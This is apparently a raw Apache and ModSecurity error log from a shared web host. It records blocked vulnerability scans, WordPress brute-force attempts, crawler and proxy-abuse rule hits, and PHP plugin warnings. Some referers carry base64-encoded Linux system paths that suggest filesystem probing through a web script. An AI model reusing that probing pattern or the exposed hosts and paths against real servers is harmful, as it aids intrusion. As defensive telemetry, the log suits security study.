https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:21:16.514054 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.37:45992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:16.514247 2026] [security2:error] [pid 648189:tid 648261] [remote 17.246.23.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_FWSojQL4F7upKCLpwAAjCc"] [Sat Jun 13 18:21:16.514498 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.37:45992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:16.644304 2026] [security2:error] [pid 646876:tid 647080] [client 13.140.175.37:59695] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "absurdtv.us"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3z_NyTkdrNlD40tSHFNwAAAEg"] [Sat Jun 13 18:21:16.707101 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.66:38470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:16.707378 2026] [access_compat:error] [pid 646876:tid 646915] [remote 57.141.14.66:38470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:16.851139 2026] [security2:error] [pid 648189:tid 648247] [remote 17.246.23.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_FWSojQL4F7upKCLrQAAhxo"] [Sat Jun 13 18:21:16.952137 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:21:16.952583 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:21:17.073784 2026] [lsapi:warn] [pid 648189:tid 648443] [client 47.79.207.18:9520] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:21:17.073811 2026] [lsapi:warn] [pid 648189:tid 648443] [client 47.79.207.18:9520] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:21:17.127933 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.34:59572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:17.128211 2026] [access_compat:error] [pid 648189:tid 648347] [remote 57.141.14.34:59572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:17.145145 2026] [security2:error] [pid 646876:tid 647003] [remote 17.241.219.238:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 238.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_dyTkdrNlD40tSHFTAAAHXw"] [Sat Jun 13 18:21:17.215476 2026] [security2:error] [pid 646876:tid 647131] [client 66.80.63.196:49567] ModSecurity: Access denied with code 406 (phase 2). Match of "rx ://%{SERVER_NAME}/" against "MATCHED_VAR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "73"] [id "340012"] [rev "3"] [msg "Atomicorp.com WAF Rules: Unauthorized Proxy access attempt"] [data "http:/"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/images/onlinestore/products/45/large_productlargeview.jpg"] [unique_id "ai3z_dyTkdrNlD40tSHFUQAAAHs"] [Sat Jun 13 18:21:17.463557 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjA0L2RldmljZTowNQ== [Sat Jun 13 18:21:17.464019 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjA0L2RldmljZTowNQ== [Sat Jun 13 18:21:17.483330 2026] [security2:error] [pid 648189:tid 648379] [client 13.140.175.37:49938] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "absurdtv.us"] [uri "/media/system/js/core.js"] [unique_id "ai3z_VWSojQL4F7upKCLvwAAAJ8"] [Sat Jun 13 18:21:17.518843 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.40:26052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:17.519281 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.40:26052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:17.540248 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.101:64110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:17.540613 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.101:64110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:17.866606 2026] [security2:error] [pid 648189:tid 648339] [remote 17.22.237.84:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 84.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_VWSojQL4F7upKCLxwAA0XQ"] [Sat Jun 13 18:21:17.981097 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:21:17.981533 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:21:18.052386 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.11:65101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:18.052687 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.11:65101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:18.103586 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.6:51418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:18.103857 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.6:51418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:18.132067 2026] [security2:error] [pid 648189:tid 648325] [remote 110.249.202.24:43534] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "blog.wesonline.ng"] [uri "/"] [unique_id "ai3z_lWSojQL4F7upKCLzwABBGY"] [Sat Jun 13 18:21:18.223178 2026] [security2:error] [pid 646876:tid 646918] [remote 156.67.82.86:33426] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.82.67.156.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3z_tyTkdrNlD40tSHFcgAAWCc"] [Sat Jun 13 18:21:18.502935 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:18.503408 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:21:18.874815 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.107:45257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:18.875092 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.107:45257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:19.001793 2026] [security2:error] [pid 646876:tid 646911] [remote 17.22.237.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_tyTkdrNlD40tSHFjAAATyA"] [Sat Jun 13 18:21:19.029425 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:19.029726 2026] [access_compat:error] [pid 646876:tid 646991] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:19.045338 2026] [security2:error] [pid 648189:tid 648373] [client 177.0.53.224:21342] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.53.0.177.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "emerald-machine.com"] [uri "/xmlrpc.php"] [unique_id "ai3z_1WSojQL4F7upKCL3QAAAJk"] [Sat Jun 13 18:21:19.045527 2026] [security2:error] [pid 648189:tid 648373] [client 177.0.53.224:21342] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "emerald-machine.com"] [uri "/xmlrpc.php"] [unique_id "ai3z_1WSojQL4F7upKCL3QAAAJk"] [Sat Jun 13 18:21:19.147302 2026] [security2:error] [pid 646876:tid 647055] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/filter/tests/006.phpt"] [unique_id "ai3z_9yTkdrNlD40tSHFkgAAAC8"] [Sat Jun 13 18:21:19.194004 2026] [security2:error] [pid 646876:tid 646931] [remote 17.241.75.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_9yTkdrNlD40tSHFlAAAFTQ"] [Sat Jun 13 18:21:19.232009 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.66:55740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:19.232305 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.66:55740] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:19.328979 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.29:54427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:19.329251 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.29:54427] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:19.504094 2026] [security2:error] [pid 648189:tid 648255] [remote 17.241.219.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_1WSojQL4F7upKCL6gAAxCE"] [Sat Jun 13 18:21:19.599836 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:19.600129 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:21:19.699112 2026] [security2:error] [pid 646876:tid 646958] [remote 17.22.253.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z_9yTkdrNlD40tSHFpwAABk8"] [Sat Jun 13 18:21:19.864167 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.113:26234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:19.864448 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.113:26234] AH01797: client denied by server configuration: 